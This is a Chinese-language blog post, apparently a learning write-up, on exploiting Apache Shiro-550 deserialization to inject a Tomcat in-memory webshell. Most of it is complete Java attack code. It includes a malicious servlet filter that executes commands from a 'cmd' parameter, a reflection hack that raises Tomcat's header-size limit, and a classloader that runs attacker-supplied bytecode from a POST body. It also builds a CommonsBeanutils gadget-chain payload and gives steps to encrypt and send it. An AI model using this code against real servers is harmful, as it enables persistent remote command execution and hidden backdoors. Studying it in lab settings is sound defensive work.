Shiro安全(二):Shiro-550内存马注入
漏洞环境采用木头师傅给出的https://github.com/KpLi0rn/ShiroVulnEnv将上面的poc存入到cc11并AES加密后,可以看到生成的payload非常长,这已经超过了Tomcat默认的max header的大小所以我们需要想一些办法绕过Header的长度限制,现在比较常用的有两种方法:这里我们结合cc11进行注入思路是改变org.apache.coyote.http1
Shiro安全(二):Shiro-550内存马注入
0x00 漏洞环境
漏洞环境采用木头师傅给出的
https://github.com/KpLi0rn/ShiroVulnEnv
0x01 漏洞利用
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
public class TomcatMemShellInject extends AbstractTranslet implements Filter{
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "evilFilter";
static {
try {
Class c = Class.forName("org.apache.catalina.core.StandardContext");
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(filterName) == null){
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
Filter MemShell = new TomcatMemShellInject();
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter(filterName, MemShell);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{filterUrlPattern});
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null){
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
注意这里获取standardContext的方式与之前讲的利用applicationfilterchain中的 lastServicedRequest 和 lastServicedResponse的方式不同
WebappClassLoader
文章链接:https://www.cnblogs.com/aspirant/p/8991830.html
由于 Tomcat 中有多个 WebApp 同时要确保之间相互隔离,所以 Tomcat 的类加载机制也不是传统的双亲委派机制,如果使用了双亲委派,那么如果存在两个 WebApp 一个是 CommonsCollections 3.2 的版本,另一个是 CommonsCollections 3.1 的版本,由于类加载机制是利用全限定类名来进行加载的,这两个而又是相同的,所以最终导致只会加载其一个版本,这显然不是 Tomcat 想要实现的效果
Tomcat 隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader,WebappClassLoader 会加载
/WebApp/WEB-INF/*
中的Java类库,是各个Webapp私有的类加载器,加载路径中的class只对当前Webapp可见说了那么多其实就是我们可以通过 WebappClassLoaderBase 来获取 Tomcat 上下文的联系
将上面的poc存入到cc11并AES加密后,可以看到生成的payload非常长,这已经超过了Tomcat默认的max header的大小
Header 长度限制绕过
所以我们需要想一些办法绕过Header的长度限制,现在比较常用的有两种方法:
- 修改 max size 注入
- 利用 CloassLoader 加载来绕过长度限制
修改 max size 注入
这里我们结合cc11进行注入
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {
static {
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),10000);
}
}
}
// 10000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
}
}
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制
首先生成TomcatHeaderSize的class文件然后利用CC11Template生成payload并用AESEncode进行加密
发送payload,此时已经修改了header的长度限制
然后发送动态注册filter的payload,也就是漏洞利用阶段最后生成的payload
成功注入
利用 CloassLoader 加载来绕过长度限制
payload长的一部分原因是动态注册filter代码的缘故,这里采用分离发送的方法。在remeberme中发送一个CloassLoader ,然后在body中发送动态注册filter的类,CloassLoader 来加载body中恶意类从而注入内存马
这里先实现一个命令回显,内存马注入我还没成功
TD类代码实现
该类中从Acceptor线程中获取request和response对象,获取请求Post body中的字节码base64解码后,加载调用该对象的equals方法(传入获取request和response对象),该类被转换为字节码存入到TemplatesImpl的_bytecodes
package deserialize;
import java.lang.reflect.Field;
import java.util.Iterator;
public class TD {
static {
Object jioEndPoint = GetAcceptorThread();
if (jioEndPoint != null) {
java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)) {
continue;
}
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
org.apache.catalina.connector.Response response = request.getResponse();
String code = request.getParameter("wangdefu");
if (code != null) {
try {
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length);
cc.newInstance().equals(new Object[]{request, response});
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}
public static Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (Exception e) {
}
clazz = clazz.getSuperclass();
}
return null;
}
public static Object GetAcceptorThread() {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null || thread.getName().contains("exec")) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = getField(thread, "target");
if (!(target instanceof Runnable)) {
try {
Object target2 = getField(thread, "this$0");
target = thread;
} catch (Exception e) {
continue;
}
}
Object jioEndPoint = getField(target, "this$0");
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
} catch (Exception e) {
continue;
}
}
return jioEndPoint;
}
}
return null;
}
}
cmd类
该类的字节码会被base64编码后,放在body中的wangdefu请求参数中,在TD类中获取该参数并加载
package deserialize;
import java.io.InputStream;
import java.util.Scanner;
public class cmd {
public boolean equals(Object req) {
Object[] context=(Object[]) req;
org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setContentType("text/html;charset=utf-8");
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().println("----------------------------------");
response.getWriter().println(output);
response.getWriter().println("----------------------------------");
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
}
return true;
}
}
run类
通过CommonsBeanutils利用链加载TD类的字节码
获取cmd类的字节码,并base64编码输出。
package deserialize;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class run {
public static void main(String[] args) {
try {
//获取字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(header_bypass.run.class.getClass()));
CtClass ctClass = pool.get("header_bypass.TD");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = ctClass.toBytecode();
CtClass ctClass2 = pool.get("header_bypass.cmd");
byte[] classBytes2 = ctClass2.toBytecode();
System.out.println("post请求参数wangdefu:\n" + Base64.getEncoder().encodeToString(classBytes2));
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_name", "name");
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_class", null);
BeanComparator beanComparator = new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
setField(priorityQueue, "queue", new Object[]{templates, templates});
setField(priorityQueue, "size", 2);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
outputStream.writeObject(priorityQueue);
outputStream.close();
// ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
// inputStream.readObject();
// inputStream.close();
} catch (Exception e) {
}
}
public static void setField(Object object, String field, Object args) throws Exception {
Field f0 = object.getClass().getDeclaredField(field);
f0.setAccessible(true);
f0.set(object, args);
}
}
直接执行run代码生成body中的值
此时也生成了CB链的payload(CommonsBeanutils.ser),再执行AESEncode生成加密payload
burp发送,成功回显
0x02 总结
- 本文内存马注入还是使用了cc11
- 主要学习到的是两种绕过header头长度限制的方法
获取standcontext的姿势后面要好好学习一下,这里先放上链接
https://xz.aliyun.com/t/9914#toc-0
0x03 参考文章
https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi
https://github.com/feihong-cs/Java-Rce-Echo/tree/master/Tomcat
更多推荐
所有评论(0)